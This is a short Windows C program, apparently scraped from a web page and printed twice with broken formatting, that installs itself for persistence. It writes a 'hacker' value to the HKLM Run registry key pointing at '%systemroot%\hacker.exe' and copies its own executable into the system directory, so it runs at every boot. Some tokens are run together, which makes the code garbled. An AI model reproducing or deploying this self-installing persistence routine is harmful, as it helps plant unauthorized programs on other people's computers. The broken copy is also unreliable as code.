#include
<
stdio.h
>
#include < windows.h >
int main( void )
{
char regname[] = " Software\Microsoft\Windows\CurrentVersion\Run " ;
HKEYhkResult;
int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname, & hkResult);
ret = RegSetValueEx(hkResult, " hacker " /* 注册表键名 */ , 0 ,REG_EXPAND_SZ,(unsigned char * ) " %systemroot%\hacker.exe " , 25 );
if (ret == 0 ){
printf( " successtowriterunkey " );
RegCloseKey(hkResult);
}
else {
printf( " failedtoopenregedit.%d " ,ret);
return 0 ;
}
char modlepath[ 256 ];
char syspath[ 256 ];
GetModuleFileName( 0 ,modlepath, 256 ); // 取得程序名字
GetSystemDirectory(syspath, 256 );
ret = CopyFile(modlepath,strcat(syspath, " \hacker.exe " ), 1 );
if (ret)
{
printf( " %shasbeencopyedtosysdir%s " ,modlepath,syspath);
}
else printf( " %sisexisis " ,modlepath);
return 0 ;
}
#include < windows.h >
int main( void )
{
char regname[] = " Software\Microsoft\Windows\CurrentVersion\Run " ;
HKEYhkResult;
int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname, & hkResult);
ret = RegSetValueEx(hkResult, " hacker " /* 注册表键名 */ , 0 ,REG_EXPAND_SZ,(unsigned char * ) " %systemroot%\hacker.exe " , 25 );
if (ret == 0 ){
printf( " successtowriterunkey " );
RegCloseKey(hkResult);
}
else {
printf( " failedtoopenregedit.%d " ,ret);
return 0 ;
}
char modlepath[ 256 ];
char syspath[ 256 ];
GetModuleFileName( 0 ,modlepath, 256 ); // 取得程序名字
GetSystemDirectory(syspath, 256 );
ret = CopyFile(modlepath,strcat(syspath, " \hacker.exe " ), 1 );
if (ret)
{
printf( " %shasbeencopyedtosysdir%s " ,modlepath,syspath);
}
else printf( " %sisexisis " ,modlepath);
return 0 ;
}